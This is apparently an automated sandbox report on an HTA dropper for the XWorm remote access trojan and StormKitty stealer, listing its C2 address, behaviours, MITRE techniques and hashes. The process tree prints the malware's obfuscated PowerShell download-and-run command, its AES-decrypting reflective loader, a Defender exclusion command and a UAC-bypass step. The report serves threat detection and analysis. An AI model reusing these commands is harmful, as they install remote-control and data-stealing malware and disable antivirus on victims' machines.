stormkitty | 6840b6d84f7c7190424fd465e466e2477e7c8a781457e2c6dcd523df498cea3d

Analysis

max time kernel
134s
max time network
134s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
30/05/2024, 13:18

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General

Target

mine.hta
Size

48KB
MD5

8ec81411709c0d3ca73859814204cd71
SHA1

7da6542e29c888d65a857cf5876ed8e9e6524510
SHA256

6840b6d84f7c7190424fd465e466e2477e7c8a781457e2c6dcd523df498cea3d
SHA512

ece006bb69841cf02d64c95c0534376934fa073b89eab8f85cc3323f647f1a326198d56cad9666d5b6152e763e2859e945e8794a877c75808f224b27201eec14
SSDEEP

768:SOLDbrv8XXl7qCk0BU6zoWvXqfM0JYJ4Tpdsfq0H5wj/:SObstqCdoWvXqfM0JY40Kj

Score

10^/10

stormkitty xworm execution rat stealer trojan

Malware Config

Extracted

Family

xworm

Version

5.0

127.0.0.1:7001

134.255.233.93:7001

Mutex

5loUYH5mEGReJgAG

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2908-89-0x000000000AC30000-0x000000000AC40000-memory.dmp	family_xworm

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/2908-94-0x0000000007D20000-0x0000000007E3E000-memory.dmp	family_stormkitty

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
16	2848	powershell.exe
39	2908	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2908	powershell.exe
2648	powershell.exe
2848	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	ComputerDefaults.exe

Executes dropped EXE 1 IoCs

pid	Process
2668	ComputerDefaults.exe

Loads dropped DLL 1 IoCs

pid	Process
2668	ComputerDefaults.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4360	2908	WerFault.exe	104

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2848	powershell.exe
2848	powershell.exe
2908	powershell.exe
2908	powershell.exe
2908	powershell.exe
2648	powershell.exe
2648	powershell.exe
2648	powershell.exe
2908	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	2908	powershell.exe
Token: SeDebugPrivilege	2648	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2908	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1580 wrote to memory of 2848	1580	mshta.exe	90
PID 1580 wrote to memory of 2848	1580	mshta.exe	90
PID 1580 wrote to memory of 2848	1580	mshta.exe	90
PID 2848 wrote to memory of 964	2848	powershell.exe	95
PID 2848 wrote to memory of 964	2848	powershell.exe	95
PID 2848 wrote to memory of 964	2848	powershell.exe	95
PID 964 wrote to memory of 1592	964	cmd.exe	99
PID 964 wrote to memory of 1592	964	cmd.exe	99
PID 964 wrote to memory of 1592	964	cmd.exe	99
PID 964 wrote to memory of 3648	964	cmd.exe	103
PID 964 wrote to memory of 3648	964	cmd.exe	103
PID 964 wrote to memory of 3648	964	cmd.exe	103
PID 964 wrote to memory of 2908	964	cmd.exe	104
PID 964 wrote to memory of 2908	964	cmd.exe	104
PID 964 wrote to memory of 2908	964	cmd.exe	104
PID 2908 wrote to memory of 2648	2908	powershell.exe	108
PID 2908 wrote to memory of 2648	2908	powershell.exe	108
PID 2908 wrote to memory of 2648	2908	powershell.exe	108
PID 2908 wrote to memory of 3616	2908	powershell.exe	111
PID 2908 wrote to memory of 3616	2908	powershell.exe	111
PID 2908 wrote to memory of 3616	2908	powershell.exe	111
PID 3616 wrote to memory of 2668	3616	cmd.exe	113
PID 3616 wrote to memory of 2668	3616	cmd.exe	113
PID 3616 wrote to memory of 2668	3616	cmd.exe	113
PID 2908 wrote to memory of 3148	2908	powershell.exe	120
PID 2908 wrote to memory of 3148	2908	powershell.exe	120
PID 2908 wrote to memory of 3148	2908	powershell.exe	120

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\mine.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1580
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function pYUxYe($YX, $ed){[IO.File]::WriteAllBytes($YX, $ed)};function eYJrvvozw($YX){if($YX.EndsWith((atHcQU @(22670,22724,22732,22732))) -eq $True){Start-Process (atHcQU @(22738,22741,22734,22724,22732,22732,22675,22674,22670,22725,22744,22725)) $YX}else{Start-Process $YX}};function QJVAx($F){$J = New-Object (atHcQU @(22702,22725,22740,22670,22711,22725,22722,22691,22732,22729,22725,22734,22740));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$ed = $J.DownloadData($F);return $ed};function atHcQU($Z){$h=22624;$OK=$Null;foreach($Pw in $Z){$OK+=[char]($Pw-$h)};return $OK};function ROmYsTcn(){$nmYSjx = $env:APPDATA + '\';$JkqUaMTnM = QJVAx (atHcQU @(22728,22740,22740,22736,22739,22682,22671,22671,22743,22721,22732,22732,22677,22740,22727,22728,22726,22678,22726,22724,22727,22670,22721,22736,22729,22670,22735,22736,22725,22734,22739,22735,22741,22738,22723,22725,22739,22721,22721,22739,22670,22735,22738,22727,22671,22714,22703,22724,22723,22726,22702,22741,22735,22671,22733,22745,22744,22743,22738,22677,22723,22732,22729,22670,22722,22721,22740));$lVBjIvqD = $nmYSjx + 'myxwr5cli.bat';pYUxYe $lVBjIvqD $JkqUaMTnM;eYJrvvozw $lVBjIvqD;;;;}ROmYsTcn;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2848
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\myxwr5cli.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:964
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "set __=^&rem"
      4⤵
      PID:1592
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cP+qKNutTynKUkrEYUHXrfgFt+qGd2k9eoIQyTxHELs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('w4Vmy/houRSXsK7A9z6kzA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lvUHo=New-Object System.IO.MemoryStream(,$param_var); $UxGoq=New-Object System.IO.MemoryStream; $NiPKr=New-Object System.IO.Compression.GZipStream($lvUHo, [IO.Compression.CompressionMode]::Decompress); $NiPKr.CopyTo($UxGoq); $NiPKr.Dispose(); $lvUHo.Dispose(); $UxGoq.Dispose(); $UxGoq.ToArray();}function execute_function($param_var,$param2_var){ $KkPkD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zNDLa=$KkPkD.EntryPoint; $zNDLa.Invoke($null, $param2_var);}$XLuZt = 'C:\Users\Admin\AppData\Roaming\myxwr5cli.bat';$host.UI.RawUI.WindowTitle = $XLuZt;$fEYHc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XLuZt).Split([Environment]::NewLine);foreach ($OYqiR in $fEYHc) { if ($OYqiR.StartsWith('yCOdwoiwmunBFrPLojaG')) { $RNNcG=$OYqiR.Substring(20); break; }}$payloads_var=[string[]]$RNNcG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      4⤵
      PID:3648
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2908
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2648
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3616
      - C:\Windows \System32\ComputerDefaults.exe
        
        "C:\Windows \System32\ComputerDefaults.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2668
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q
        5⤵
        
        PID:3148
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2908 -s 1168
        5⤵
        Program crash
        
        PID:4360

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4420,i,5047420736443372512,9747851268033796534,262144 --variations-seed-version --mojo-platform-channel-handle=4172 /prefetch:8
1⤵
PID:2804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2908 -ip 2908
1⤵
PID:2688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
25604a2821749d30ca35877a7669dff9

SHA1
49c624275363c7b6768452db6868f8100aa967be

SHA256
7f036b1837d205690b992027eb8b81939ba0228fc296d3f30039eeba00bd4476

SHA512
206d70af0b332208ace2565699f5b5da82b6a3806ffa51dd05f16ab568a887d63449da79bbaeb46183038837446a49515d62cb6615e5c5b27563cd5f774b93f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
b600c0d019dc3eb6c9f4f77b97885c62

SHA1
e272f8e32a340b5e7f656ca6aef1dfe9c0bddd07

SHA256
d6642f4493c58702ad1cd8fe6f1c3f98ac79f61184934ed931b6fd57da676d55

SHA512
4fb087f63a68d064041ace9e5fa88e49e3f00bec4e96dc97a115a35c767582ca523bc6668a4dba3e9150ce6dfdf1751fe0083fce922a712f09b9547ce00556b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mvvf5eyy.haz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\myxwr5cli.bat

Filesize
379KB

MD5
03c6c2175f84ad54c989f0608d3cbb57

SHA1
9846d7aa4c639d038f428977dfe0eef7db8ac009

SHA256
6d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7

SHA512
45bc9713a632904216f5bfd3e5648542382bc5c3aa8fa5253eea9f04d6592ac0aabcffc02451261210835f4f4d57c1f4895b7d02be24dd5edffbdc5e5b5e13c8

Download Submit
C:\Windows \System32\ComputerDefaults.exe

Filesize
66KB

MD5
cfa65b13918526579371c138108a7ddb

SHA1
28bc560c542c405e08001f95c4ea0511e5211035

SHA256
4c70fea1c4f9b78955eb840c11c6c81f1d860485e090526a8e8176d98b1be3d6

SHA512
7ad417e862c38f1032b300735c00050435f0dd1d816e93b9a466adf3bc092be770ebf59c1617db2281c7cf982a75e6c93d927d5784132aa2c6292f3e950eca88

Download Submit
C:\Windows \System32\MLANG.dll

Filesize
122KB

MD5
e286ada1af4b08fa4b7c78f862883c4e

SHA1
798ebc7b7cd3db667f1a59ade299be4cff397f39

SHA256
16eb71b68025711fdbc93229fde22ecc73dc8a23be8b40700772b96978187ea3

SHA512
fbbbc893388a39e94d8b2265aef75dbaf5fd928fadabd3dbfc5cbee64b600de0102b82e5d2b5c56efe128b45f6ddd4bba2668194c05decdfa78c8e7e382de3f5

Download Submit
memory/2648-75-0x00000000073D0000-0x00000000073EA000-memory.dmp

Filesize
104KB

Download
memory/2648-72-0x0000000007330000-0x0000000007341000-memory.dmp

Filesize
68KB

Download
memory/2648-73-0x0000000007380000-0x000000000738E000-memory.dmp

Filesize
56KB

Download
memory/2648-71-0x00000000071D0000-0x00000000071DA000-memory.dmp

Filesize
40KB

Download
memory/2648-70-0x0000000006FE0000-0x0000000007083000-memory.dmp

Filesize
652KB

Download
memory/2648-69-0x0000000006F80000-0x0000000006F9E000-memory.dmp

Filesize
120KB

Download
memory/2648-59-0x0000000070B10000-0x0000000070B5C000-memory.dmp

Filesize
304KB

Download
memory/2648-58-0x0000000006FA0000-0x0000000006FD2000-memory.dmp

Filesize
200KB

Download
memory/2648-74-0x0000000007390000-0x00000000073A4000-memory.dmp

Filesize
80KB

Download
memory/2648-76-0x00000000073C0000-0x00000000073C8000-memory.dmp

Filesize
32KB

Download
memory/2848-18-0x0000000006480000-0x000000000649E000-memory.dmp

Filesize
120KB

Download
memory/2848-4-0x0000000071DF0000-0x00000000725A0000-memory.dmp

Filesize
7.7MB

Download
memory/2848-25-0x00000000086E0000-0x0000000008C84000-memory.dmp

Filesize
5.6MB

Download
memory/2848-24-0x00000000078E0000-0x0000000007902000-memory.dmp

Filesize
136KB

Download
memory/2848-1-0x0000000002B90000-0x0000000002BC6000-memory.dmp

Filesize
216KB

Download
memory/2848-2-0x00000000055E0000-0x0000000005C08000-memory.dmp

Filesize
6.2MB

Download
memory/2848-3-0x0000000071DF0000-0x00000000725A0000-memory.dmp

Filesize
7.7MB

Download
memory/2848-30-0x0000000071DF0000-0x00000000725A0000-memory.dmp

Filesize
7.7MB

Download
memory/2848-5-0x0000000005C10000-0x0000000005C32000-memory.dmp

Filesize
136KB

Download
memory/2848-6-0x0000000005D70000-0x0000000005DD6000-memory.dmp

Filesize
408KB

Download
memory/2848-23-0x0000000007940000-0x00000000079D6000-memory.dmp

Filesize
600KB

Download
memory/2848-21-0x0000000006A20000-0x0000000006A3A000-memory.dmp

Filesize
104KB

Download
memory/2848-20-0x0000000007AB0000-0x000000000812A000-memory.dmp

Filesize
6.5MB

Download
memory/2848-0-0x0000000071DFE000-0x0000000071DFF000-memory.dmp

Filesize
4KB

Download
memory/2848-19-0x00000000064B0000-0x00000000064FC000-memory.dmp

Filesize
304KB

Download
memory/2848-17-0x0000000005EC0000-0x0000000006214000-memory.dmp

Filesize
3.3MB

Download
memory/2848-7-0x0000000005E50000-0x0000000005EB6000-memory.dmp

Filesize
408KB

Download
memory/2908-47-0x0000000007390000-0x00000000073D8000-memory.dmp

Filesize
288KB

Download
memory/2908-46-0x0000000006FE0000-0x0000000006FF0000-memory.dmp

Filesize
64KB

Download
memory/2908-45-0x0000000006E20000-0x0000000006E96000-memory.dmp

Filesize
472KB

Download
memory/2908-44-0x0000000006C80000-0x0000000006CC4000-memory.dmp

Filesize
272KB

Download
memory/2908-43-0x0000000006160000-0x00000000061AC000-memory.dmp

Filesize
304KB

Download
memory/2908-42-0x0000000005740000-0x0000000005A94000-memory.dmp

Filesize
3.3MB

Download
memory/2908-89-0x000000000AC30000-0x000000000AC40000-memory.dmp

Filesize
64KB

Download
memory/2908-90-0x000000000ACE0000-0x000000000AD7C000-memory.dmp

Filesize
624KB

Download
memory/2908-92-0x000000000AF80000-0x000000000B012000-memory.dmp

Filesize
584KB

Download
memory/2908-93-0x000000000AF60000-0x000000000AF6A000-memory.dmp

Filesize
40KB

Download
memory/2908-94-0x0000000007D20000-0x0000000007E3E000-memory.dmp

Filesize
1.1MB

Download